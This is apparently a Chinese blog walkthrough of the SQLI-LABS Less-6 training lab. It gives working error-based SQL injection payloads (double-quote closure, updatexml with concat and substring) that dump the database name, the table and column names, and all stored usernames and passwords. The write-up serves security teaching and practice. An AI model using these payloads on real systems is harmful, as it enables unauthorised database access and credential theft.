SQLI-LABS(Less-6)
Less-6(GET-Double injection-Double Quotes-String)
打开Less-6
页面,可以看到页面中间有一句Please input the ID as parameter with numeric value
,那么先使用ID
这个参数通过GET
方式传入一个数值。
确定注入点
注入语句:?id=1
。
从上图可以看出传入id=1
并没有回显查询结果,接着试一下?id=1'
,并没有任何异常,那么尝试一下?id=1"
,发现在引号
附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是双引号
。这时可以考虑使用报错注入
(有关报错注入)。
使用注入语句:?id=1" --+
看看是否能够正常闭合并注释,从下图看出是没有问题的。
确定当前数据库名
注入语句:?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+
。其中,concat
函数用于连接两个字符串,形成一个字符串,concat('a','b')='ab'
,这样当爆出多个信息时,可以通过~
进行分割。
从报错信息中可以看出,当前数据库为security
。
确定数据库中的数据表
注入语句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
确定users表中的列名
注入语句:?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+
从上图可以看出,爆出的账号密码长度超出了32,所以需要继续使用substring()
函数每隔32位截取一次,最终拼凑出全部内容。
至此,就得到了当前表中所有的用户名和密码。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
2018-09-06 MySQL用户远程登录问题